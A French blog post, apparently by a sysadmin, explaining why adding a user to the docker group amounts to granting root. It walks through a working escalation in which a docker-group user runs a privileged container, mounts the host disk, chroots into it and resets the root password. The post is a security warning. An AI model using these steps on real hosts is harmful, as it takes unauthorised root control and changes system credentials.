Docker a popularisé les containers dans nos chaumières et avec lui quelques bonnes pratiques. Mais hélas, la conception même de Docker a créé quelques confusions qu'il est important de connaître afin de ne pas tomber dans certains pièges.

Aujourd'hui nous allons nous concentrer sur une partie bien précise du fonctionnement de Docker : son utilisation du compte root et la confusion qui peut tourner autour de ce sujet.

Je s'appelle g..Root

GRoot !?

Une idée reçue avec Docker et le compte root est bien rappelée ici par un commentaire que j'ai déjà pu avoir sur le blog :

Alors je n'ai pas besoin du compte root pour utiliser Docker sous Linux ? M'ajouter au groupe docker serait donc un bon moyen de sécuriser mon installation ?

Revenons à l'installation de Docker et essayons de comprendre la mauvaise interprétation sur ce sujet :

Install Docker Engine on Debian
Instructions for installing Docker Engine on Debian

Passons les étapes d'ajout du dépôt et l'installation à proprement parlé.

Quelques lignes plus loin on retrouve le fameux "il suffit de faire partie du groupe Docker" :

If you would like to use Docker as a non-root user, you should now consider adding your user to the “docker” group with something like :
  $ sudo usermod -aG docker your-user

On a bien un warning nous invitant à faire attention :

Adding a user to the “docker” group grants them the ability to run containers which can be used to obtain root privileges on the Docker host. Refer to Docker Daemon Attack Surface for more information.

Et si on va un peu plus loin, on trouve une seconde page de post-installation qui rentre plus dans le détail de cet ajout :

Post-installation steps for Linux
Optional post-installation steps for Linux

Cette fois le warning est bien plus clair :

The docker group grants privileges equivalent to the root user. For details on how this impacts security in your system, see Docker Daemon Attack Surface.

Mais comment ne pas confondre ces éléments quand on débute ? Quelques explications s'imposent !

Tell me why

Commençons avec ... le vocabulaire... ! Si on reprend l'exemple d'installation de notre documentation officielle que je cite précédemment, un élément doit attirer votre attention ! 🤔

Le titre de la page : Install Docker ENGINE on Debian.

Et oui, la confusion commence à la conception même de Docker. Lorsque l'on souhaite utiliser Docker, on installe en réalité plusieurs éléments :

$ sudo apt-get install docker-ce docker-ce-cli containerd.io
Commande d'installation utilisée dans la documentation officielle
  • docker-ce : C'est le daemon de Docker, le container engine.  
  • docker-ce-cli : Le programme client de Docker qui interagit avec l'API du daemon.
  • containerd.io : C'est le programme qui interagit réellement avec vos containers.

Laissons de côté containerd - pour aujourd’hui - et restons concentrés sur les éléments portant le nom de docker  :

Oui, l'installation va ajouter plus d'éléments à votre système mais pour le moment restons concentrés sur les deux premiers éléments, car à ce petit jeu, containerd utilise également runc ...

Sur votre système, cela se traduit par l'ajout de deux programmes :

  • dockerd
  • docker

Vous pouvez retrouver ces deux programmes à l'aide de la commande which :

$ which dockerd
/usr/bin/dockerd
$ which docker
/usr/bin/docker

Dans le genre j'aime la confusion :

$ dockerd -v
Docker version 19.03.13, build 4484c46d9d
$ docker -v
Docker version 19.03.13, build 4484c46d9d

Heureusement la commande --help renvoie bien des éléments différents 😂

Enfin si on regarde l'utilisateur qui exécute le programme dockerd :

$ ps aux | grep dockerd
root       390  0.0  4.5 1010900 92304 ?       Ssl  sept.25   0:53 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

Aucun doute sur ce sujet, dockerd fonctionne bien en root.

Mais pourquoi ajouter mon compte au groupe docker ?

Security warning ⚠️

Pour interagir avec le daemon dockerd, on utilise donc la socket - et ainsi l'API - à l'aide de la commande docker.

Regardons de plus près les droits de cette socket :

$ ls -lart /var/run/docker.sock
srw-rw---- 1 root docker 0 sept. 25 16:13 /var/run/docker.sock

La socket appartient donc à l'utilisateur root et on lui attribue le groupe docker !

S’ajouter au groupe docker nous permet donc d’accéder à la socket sans passer par le compte root. C'est donc un élément de sécurité supplémentaire non ?

Par exemple, créons un nouvel utilisateur qui n'est pas dans le groupe sudo :

$ sudo groupadd alice
$ sudo useradd alice --uid 1010 --home /home/alice/ --create-home --groups alice --gid alice --shell /bin/bash

Essayons donc de lancer la commande docker avec alice :

[email protected]:~$ sudo -u alice -s
[email protected]:/home/alice$ id
uid=1010(alice) gid=1001(alice) groupes=1001(alice)
[email protected]:/home/alice$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.40/containers/json: dial unix /var/run/docker.sock: connect: permission denied

Effectivement alice ne peut pas interagir avec Docker.  Pour régler ce problème, il existe plusieurs solutions mais la solution généralement adoptée et d'ajouter l'utilisateur au groupe docker.

Maintenant j'ajoute donc alice au groupe docker :

[email protected]:~$ sudo usermod -aG docker alice
[email protected]:~$ sudo -u alice -s
[email protected]:/home/alice$ id
uid=1010(alice) gid=1001(alice) groupes=1001(alice),998(docker)

On essaye de nouveau la commande docker ps

[email protected]:/home/alice$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

Et je peux donc lancer un container :

[email protected]:/home/alice$ docker run hello-world

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://hub.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/get-started/
Alors oui quand vous ajoutez un compte au groupe docker, vous ne devenez pas soudainement root de votre machine.

Top non ? C'est effectivement plus sécurisé ! Sauf que ...

Failed

Docker propose une option pour lancer un container : --privileged

By default, Docker containers are “unprivileged” and cannot, for example, run a Docker daemon inside a Docker container. This is because by default a container is not allowed to access any devices, but a “privileged” container is given access to all devices

Lançons donc un container avec alice et l'option --privileged :

[email protected]:/home/alice$ docker run --rm -it --name powned --privileged debian:latest bash

Enfin je regarde les disques présents :

fdisk -l

Et je vais mount celui qui me semble être le disque système :

mount /dev/sda1 /mnt/

Je vais vérifier la présence de mon répertoire personnel par exemple :

[email protected]:/# ls -lart /mnt/home/
total 16
drwxr-xr-x 18 root root 4096 Sep 24 20:33 ..
drwxr-xr-x  6 1000 1000 4096 Sep 25 21:21 debian
drwxr-xr-x  4 root root 4096 Sep 27 09:22 .
drwxr-xr-x  2 1010 1001 4096 Sep 27 09:24 alice

J'ai donc pu monter le filesystem de mon hôte et avec des droits root ...

On peut donc par exemple changer le mot de passe du compte root :

[email protected]:/# chroot /mnt/
# passwd
New password:
Retype new password:
passwd: password updated successfully
# exit
[email protected]:/# exit
exit

Une fois de retour sur le shell de mon système, on essaye le nouveau mot de passe :

[email protected]:/home/alice$ id
uid=1010(alice) gid=1001(alice) groupes=1001(alice),998(docker)
[email protected]:/home/alice$ su -
Mot de passe :
[email protected]:~# id
uid=0(root) gid=0(root) groupes=0(root)
It's magic !

Alors oui, il faut bien l'avouer, dans la pratique il faut déjà avoir accès à votre compte pour pouvoir réaliser cela ... Mais pour ce qui est de la sécurité, partons du principe que tout est possible !


En tout cas j'espère que vous aurez compris aujourd'hui ce qui se cache derrière le simple fait de saisir la commande suivante :

usermod -aG docker $USER

Alors pour vous, une bonne ou mauvaise idée d'ajouter un compte au groupe docker ?

Alors on peut débattre longuement sur l'intérêt ou non de réaliser ce petit changement sur notre système qui - c'est vrai - facilite la vie ( bah oui, pas envie de retaper mon mot de passe régulièrement ) mais...

Dans un environnement de production, aucun doute pour moi. Docker nécessite une élévation des privilèges, et il est donc nécessaire de passer par la commande sudo afin de saisir son mot de passe ( on ne triche pas avec %sudo  ALL=(ALL) NOPASSWD: ALL ou avec un accès root directement sur sa machine d'ailleurs 😀 ).

Mais quid des solutions si l'on souhaite vraiment aller plus loin ? userns-remap par exemple ? Rootless ?

On regardera ensemble différentes alternatives dans un prochain article !

Pour les plus intéressés, j'avais déjà abordé d'une partie de ces thématiques sur un précédent article :

Pourquoi passer aux containers Rootless ?
Effet de mode ou innovation ? Nous entendons de plus en plus parler du Rootless dans le monde des containers. Mais pourquoi ?
N'hésitez pas à permettre au blog de continuer à exister et à fournir un contenu de qualité - enfin je l'espère - au travers de vos dons sur : buymeacoff.ee/lfache
Et n'hésitez pas à m'apporter des remarques ou des commentaires sur Twitter, ou ici 👇